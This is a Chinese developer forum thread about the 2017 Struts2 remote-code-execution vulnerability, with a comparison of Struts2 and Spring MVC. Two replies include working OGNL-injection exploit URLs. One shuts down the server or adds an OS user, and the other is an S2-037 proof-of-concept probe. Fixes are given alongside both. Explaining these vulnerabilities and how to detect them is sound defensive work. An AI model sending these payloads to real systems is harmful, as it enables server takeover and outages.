1. 聚能聊>
  2. 话题详情

struts2又爆漏洞,你会选择使用struts2还是Spring MVC?

Apache Struts2 作为世界上最流行的 Java Web 服务器框架之一,3月7日带来了本年度第一个高危漏洞——CVE编号 CVE-2017-5638 。其原因是由于 Apache Struts2 的 Jakarta Multipart parser 插件存在远程代码执行漏洞,攻击者可以在使用该插件上传文件时,修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,导致远程执行代码。
从绿盟科技了解到,从3月7日漏洞曝出到3月9日不到36个小时的时间里,大量用户第一时间通过绿盟云的 Structs2紧急漏洞检测服务对自己的网站进行检测,共计22000余次。

通过对这些数据进行分析,可以看到:
1、从检测数据来看,教育行业受Struts2漏洞影响最多,其次是政府、金融、互联网、通信等行业。
绿盟科技威胁情报中心( NTI ) 通过对检测出漏洞的页面逐一访问,去掉一些无法访问的页面后,按照行业进行了分类,其中,教育行业数量最多占23%,其次是政府占19%,金融占17%,互联网占10%,通信行业占3%以及其他行业领域占27%。
17031016375488507
2、从地域来看,北、上、广、沿海城市等经济发达地区成为 Struts2 漏洞高发区,与此同时修复情况也最及时。
从检测页面的地域分布上看,北京最积极占22%,其次是广东9.8%,浙江8.2%,上海7.8%,福建4.9%。从最终的检测结果来看,这也符合“多检多得”的排序,北京检出漏洞页面数量最多占23.6%(符合首都政治教育中心的定位),广东13.7%,浙江10.4%,上海7.9%,福建7.3%。
17031016375465933
3、从应对漏洞积极性来说,金融、政府、教育位列前三甲。
应对本次 Struts2 漏洞,金融行业应急反应最为迅速,在漏洞爆发后采取行动也是最迅速的,无论是自行升级漏洞软件还是联系厂商升级防护设备都走在其他行业前列,很多金融行业站点在几个小时之内再次扫描时已经将漏洞修补完成。
17031016375428633

下面对比一下Spring MVC与struts2的区别:

1.易用性Spring MVC上手简单,并且可以与Spring无缝结合,毕竟都是一个公司的产品,学习起来也比较简单,比如从前端给对象填充值,他的处理就比Struts2简单多了,再比如对Restful风格的URL的支持,这些Spring MVC都比Struts2做的好N倍。
2.安全性说到安全性,现在又爆出了上述漏洞。Spring MVC到目前为止还没有发现比较严重的漏洞。
3.可扩展性Spring MVC依靠Spring这颗大树,Spring的实力我想大家不用怀疑吧,包括版本的更新、迭代这些都是经过历史见证的
4.spring mvc更加的灵活,更不容易出错,开发成本也比较低
5.spring mvc + hiberante/mybatis的组合相比ssh更适合敏捷开发
6.由于springMVC是轻量级的,用起来相对灵活。Spring MVC 会稍微比 Struts2 快些。Spring MVC 是基于方法设计,而 Sturts2 是基于类, 每次发一次请求都会实例一个 Action。Spring MVC 使用更加简洁, 开发效率 Spring MVC 确实比 struts2 高:springMVC支持 JSR303, 处理 ajax 的请求更方便。当然struts也不是没有任何优点,Struts2 的 OGNL 表达式使页面的开发效率相比 Spring MVC 更高些。
7、springmvc基于方法开发的,struts2基于类开发的。springmvc将url和controller里的方法映射。映射成功后springmvc生成一个Handler对象,对象中只包括了一个method。方法执行结束,形参数据销毁。springmvc的controller开发类似web service开发。
8、springmvc可以进行单例开发,并且建议使用单例开发,struts2通过类的成员变量接收参数,无法使用单例,只能使用多例。

综上的一些对比,各位同学一起来聊聊:

·在这两个框架中,你使用过哪个框架?

·在使用Struts2做框架的项目中受到过攻击吗?

·Spring MVC与struts2还有哪些优缺点?

欢迎大家一起来聊吧!

参与话题

奖品区域 活动规则 已 结束

  • 奖品一

    聆听专属T恤衫 x 3

  • 奖品二

    王坚新著《在线》 x 2

  • 奖品三

    优酷VIP月卡 x 4

69个回答

6

小柒2012 已获得聆听专属T恤衫 复制链接去分享

基本来说 struts2 和springMvc 都有使用过,当然这里顺便提一下struts1也使用过。2LNNC_56_P_KHV_E_KHR

由于公司以前的框架大部分采用了SSH,以至于为了方便开发,其实上面不愿意更换框架。当然学习成本是一个问题,领导倒是考虑的挺周到的。但是实际情况是,用过spring Mvc 再用struts2是很压抑的,暂且不说struts2各种繁杂的xml配置,就这每年爆出的漏洞就叫人心惊胆战的,万一被盯上。

这不,又升级了新版本,然而各种坑 https://yq.aliyun.com/articles/72018

设计思想上,struts2更加符合面向对象的编程思想, spring Mvc 则比较谨慎,在servlet上扩展。

配置上,struts2时采用配置文件的方式,尽管新的版本加入的注解,但还不是零配置。spring4 mvc可以认为已经100%零配置了。

性能上面,spring Mvc据说会稍微比struts2快。spring mvc是基于方法的设计,而sturts是基于类,每次请求都会实例一个action,相对来说会占用一定的内存。而spring Mvc基于方法,粒度更细,特别注意不要设置成员变量,会导致线程安全问题。

但是就目前的硬件发展来说,基本可以忽略不计。

当然 struts2 的配置也是用好处的,比如你一眼就能看清整个项目的包路径,请求分布。

1

jahentao 已获得优酷VIP月卡 复制链接去分享

不用structs2了,只是学校里还是ssh框架教学,虽然不要赶上潮流,但漏洞百出,还是教学应该要换一套学习框架了。

似水的流年 回复

这个主要看老师吧,有些老师比较古板就不接受新的东西

评论
0

晓书声 已获得优酷VIP月卡 复制链接去分享

struts2漏洞攻击方法与解决方案

1、原理
Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:

?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:

此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
?('u0023_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('u0023context['xwork.MethodAccessor.denyMethodExecution']u003du0023foo')(u0023foou003dnew%20java.lang.Boolean("false")))&(asdf)(('u0023rt.exit(1)')(u0023rtu003d@java.lang.Runtime@getRuntime()))=1

转义后是这样:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是
java.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭

类似的可以执行
java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)
只要有权限就可以执行任何DOS命令。

2、解决方法
网上很多文章都介绍了三种解决方法,个人觉得将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2.3.4
下载到的更新包中有很多jar包,我系统中主要用到以下几个替换掉旧版本的:
commons-lang3-3.1.jar (保留commons-lang-2.6.jar)
javassist-3.11.0.GA.jar (新加包)
ognl-3.0.5.jar (替换旧版本)
struts2-core-2.3.4.1.jar (替换旧版本)
xwork-core-2.3.4.1.jar (替换旧版本)

似水的流年 回复

写的解决方法不错哦

评论
2

爵霸 已获得王坚新著《在线》 复制链接去分享

spring mvc的入口是servlet,而struts2是filter,这样就导致了二者的机制不同。
spring mvc是基于方法的设计,sturts2是基于类设计的。
1.springmvc将url和controller方法映射。映射成功后springmvc生成一个Handler对象,对象中只包括了一个method。方法执行结束,形参数据销毁。springmvc的controller开发类似service开发。strts2每次请求都会实例一个action,每个action都会被注入属性。spring mvc是方法级别的拦截,拦截到方法后根据参数上的注解,把request数据注入进去,在spring mvc中,一个方法对应一个request上下文。而2.struts2框架是类级别的拦截,每次来了请求就创建一个Action,然后调用setter getter方法把request中的数据注入;struts2实际上是通过setter getter方法与request打交道的;struts2中,一个Action对象对应一个request上下文。
struts是在接受参数的时候,可以用属性来接受参数,这就说明参数是让多个方法共享的。
SpringMVC的方法之间基本上独立的,独享request response数据,请求数据通过参数获取,处理结果通过ModelMap交回给框架,方法之间不共享变量,而Struts2搞的就比较乱,虽然方法之间也是独立的,但其所有Action变量是共享的,这不会影响程序运行,却给我们编码 读程序时带来麻烦,每次来了请求就创建一个Action,一个Action对象对应一个request上下文。
3.由于以上原因,springmvc可以进行单例开发,并且建议使用单例开发,struts2通过类的成员变量接收参数,无法使用单例,只能使用多例。
struts更加符合oop的编程思想, spring就比较谨慎,在servlet上扩展。
Spring MVC和Spring是无缝的。
从这个项目的管理和安全上也比Struts2高(当然Struts2也可以通过不同的目录结构和相关配置做到SpringMVC一样的效果,但是需要xml配置的地方不少)。SpringMVC可以认为已经100%零配置。如果是用Spring作为全局控制的话,建议使用它自己的spring mvc吧,无缝整合。
4.struts有以自己的interceptor机制,spring mvc用的是独立的AOP方式。
这样导致struts的配置文件量还是比spring mvc大,虽然struts的配置能继承,所以我觉得论使用上来讲,spring mvc使用更加简洁,开发效率Spring MVC确实比struts2高。spring mvc是方法级别的拦截,一个方法对应一个request上下文,而方法同时又跟一个url对应,所以说从架构本身上spring mvc就容易实现restful url。struts2是类级别的拦截,一个类对应一个request上下文;实现restful url要费劲,因为struts2 action的一个方法可以对应一个url;而其类属性却被所有方法共享,这也就无法用注解或其他方式标识其所属方法了。spring mvc的方法之间基本上独立的,独享request response数据,请求数据通过参数获取,处理结果通过ModelMap交回给框架方法之间不共享变量,而struts2搞的就比较乱,虽然方法之间也是独立的,但其所有Action变量是共享的,这不会影响程序运行,却给我们编码,读程序时带来麻烦。 另外,spring3 mvc的验证也是一个亮点,支持JSR303,处理ajax的请求更是方便,只需一个注解@ResponseBody ,然后直接返回响应文本即可。
5.spring会稍微比struts快。经过实际测试,struts2速度慢,在于使用struts标签,如果使用struts建议使用jstl。
struts2由于使用时间长,早期版本中的漏洞较多,使用的话建议下载最新版的jar包。而springmvc很少有漏洞,这也是springmvc现在比较流行的一个原因吧。
最后需要说明的是,springmvc和struts2都是很好的java框架,没有谁好谁坏。你可以根据项目需求具体选择。

如果想继续使用的话
客可以利用该漏洞通过浏览器在远程服务器上执行任意系统命令,将会对受影响站点造成严重影响,引发数据泄露、网页篡改、植入后门、成为肉鸡等安全事件。
为什么说本次漏洞影响极大?
此前 s2-016 漏洞同样危害非常严重,多数站点已经打补丁,而本次漏洞在 s2-016 补丁后的版本均受影响。
最重要的一点是:漏洞利用无任何条件限制,可绕过绝大多数防护设备的通用防护策略!
目前,安恒的建议是,相关行业提前做好该严重漏洞的应急准备工作。更新至 Struts 2.3.32 或者 Struts 2.5.10.1 或使用第三方的防护设备进行防护。

2

sea-line 已获得聆听专属T恤衫 复制链接去分享

目前已经不使用struct2,转而使用spring mvc ,struct的漏洞实在太多,不敢使用了,每年都爆出这么严重的漏洞,如果被攻击损失就大了。
个人感觉spring mvc使用简单灵活,轻量级框架,处理ajax请求方便

1

keller.zhou 已获得聆听专属T恤衫 复制链接去分享

spring mvc的入口是servlet,而struts2是filter,这样就导致了二者的机制不同。spring mvc是基于方法的设计,sturts2是基于类设计的。

之前的项目是用 struts2,但老是暴出 struts2 的漏洞,已经被客户骂了不知道多少遍了

最近的新项目,有用 spring mvc 的打算。但 spring mvc 没怎么用过,最新的到了版本4了。
当然在原来的 struts2 上,有很多现成的经验可以直接用,但如果换成 spring ,则很多都要重新设计了,并且设计之后可能还要经过一段时间才能完善。spring会稍微比struts快。经过实际测试,struts2速度慢,在于使用struts标签,如果使用struts建议使用jstl。

struts2由于使用时间长,早期版本中的漏洞较多,使用的话建议下载最新版的jar包。而springmvc很少有漏洞,这也是springmvc现在比较流行的一个原因吧。
最后需要说明的是,springmvc和struts2都是很好的java框架,没有谁好谁坏。你可以根据项目需求具体选择。T恤不错🎁

0

1318311737673471 已获得优酷VIP月卡 复制链接去分享

使用了springMVC、Spring Security、Spring Ldap、Spring-session-redis、Spring boot;1)总体感觉生产性甩开struts好几条街。基本想实现的,都会有spring project存在,简单认证用了。
2)安全性集成强大,Spring security就可以,复杂认证你可以从manager、provider、userdetailSevice、interceptor、filter各层面去扩展定制,简单session管理分分钟秒配...
3)反对说使用@Controller而看不到整体配置,怎么不用STS spring tool 整体查看各路由设定..
4)spring boot 更是集成后的微框架,精简XML配置,简单配置即可开发,struts框架项目大啦各种配置文件冗余庞大

Spring mvc默认支持多语言对应...
struts虽然功不可没,但是长江后浪推前浪,它已经完成历史使命;不说安全漏洞问题,在敏捷开发盛行时代,java系列框架一直处于下风,而spring系列特别Spring boot出现简直是java从事敏捷快发曙光...

纯手机打字,难免各种错别字,觉得不错的话一定会给个👍哦

0

1754773641300222 已获得优酷VIP月卡 复制链接去分享

spring mvc的入口是servlet,而struts2是filter,这样就导致了二者的机制不同。
spring mvc是基于方法的设计,sturts2是基于类设计的。
1.springmvc将url和controller方法映射。映射成功后springmvc生成一个Handler对象,对象中只包括了一个method。方法执行结束,形参数据销毁。springmvc的controller开发类似service开发。strts2每次请求都会实例一个action,每个action都会被注入属性。spring mvc是方法级别的拦截,拦截到方法后根据参数上的注解,把request数据注入进去,在spring mvc中,一个方法对应一个request上下文。而2.struts2框架是类级别的拦截,每次来了请求就创建一个Action,然后调用setter getter方法把request中的数据注入;struts2实际上是通过setter getter方法与request打交道的;struts2中,一个Action对象对应一个request上下文。
struts是在接受参数的时候,可以用属性来接受参数,这就说明参数是让多个方法共享的。
SpringMVC的方法之间基本上独立的,独享request response数据,请求数据通过参数获取,处理结果通过ModelMap交回给框架,方法之间不共享变量,而Struts2搞的就比较乱,虽然方法之间也是独立的,但其所有Action变量是共享的,这不会影响程序运行,却给我们编码 读程序时带来麻烦,每次来了请求就创建一个Action,一个Action对象对应一个request上下文。

0

stephen_zho 复制链接去分享

好想用spring全家桶,可是公司现在还在用12年做的老框架stauts+mybatis

似水的流年 回复

跟公司提议一下更新一下,不过更新了改代码也是比较累的

评论
0

1045190495940252 复制链接去分享

spring

0

test-1 复制链接去分享

之前给电信做项目是用ssh做的运行没多久struts就被攻击了。电信那边直接暂停了我们项目。兄弟们加班给改成了springmvc,说起来都是泪啊

0

执剑横秋 复制链接去分享

springMVC,用了一次以后,就舍不得丢弃了,快速简单暴力就是选择

0

willysh 复制链接去分享

随便说说,踩个坑。

0

wason 复制链接去分享

springmvc一切搞定

0

1700189739533323 复制链接去分享

sqringmvc用的比较多,表示现在开始学习sqringmvc boot

0

爱吹 复制链接去分享

表示很多看不懂。但是我还是要说大拿给我个t恤

0

晓书声 复制链接去分享

WVSS和RSAS 助你快速检测Apache Struts2远程代码执行漏洞S2-037

Apache Struts2在使用REST插件的情况下,攻击者使用REST调用恶意表达式可以远程执行代码。该漏洞编号为CVE-2016-4438,定名S2-037。该漏洞和S2-033漏洞触发流程基本一致,都是在ActionMapping中methodName带入到OGNL表达式中执行,从而导致任意代码执行。你还在担心无法快速确认自己的业务是否安全吗?WVSS和RSAS 助你快速确认风险。

漏洞综述
1
Apache Struts2再曝远程代码执行漏洞,攻击者可使用REST插件调用恶意表达式远程执行代码。此漏洞编号为CVE-2016-4438,定名为S2-037。

漏洞影响范围

全球分布图

Struts 2.3.20-Struts 2.3.28.1

所有安装REST插件的Struts应用

漏洞利用poc

http://127.0.0.1:8080/struts2-rest-showcase/orders/3//%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2b602%2b53718%2b1239876),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=paglyrwqlnvhfgfkunxucswjhpeiomqmhnmbwbccujdyfyokxexhsuqtflvt reponse中回显paglyrwqlnvhfgfkunxucswjhpeiomqmhnmbwbccujdyfyokxexhsuqtflvt即存在该漏洞。

检测方法

绿盟科技客户可以使用绿盟Web应用漏洞扫描系统(NSFOCUS WVSS)和绿盟远程安全评估系统(NSFOCUS RSAS)检测自身应用系统是否存在漏洞。绿盟Web应用漏洞扫描系统(NSFOCUS WVSS)和绿盟远程安全评估系统(NSFOCUS RSAS)已在漏洞被曝出的第一时间内完美实现此漏洞的检测能力,可以通过更新插件库进行快、准、全的扫描发现。

2
3

漏洞名称

修复方法

1 加入cleanupActionName进行过滤;

2 使用Web应用防火墙等安全防护设备进行防护;

3 关注Apache官网及时更新至struts2.3.29: https://struts.apache.org/

参考官方通告:
https://cwiki.apache.org/confluence/display/WW/s2-037

0

1195489733972183 复制链接去分享

装作能看懂的样子

0

1487176046352065 复制链接去分享

新手

0

耗子睡着了 复制链接去分享

springmvc使用servlet作为前端入口,在mvc的模型层和视图层通过modelandview进行数据传输是我特别喜欢的开发方式。和spring的完美融合 更让我倾向于springmvc

4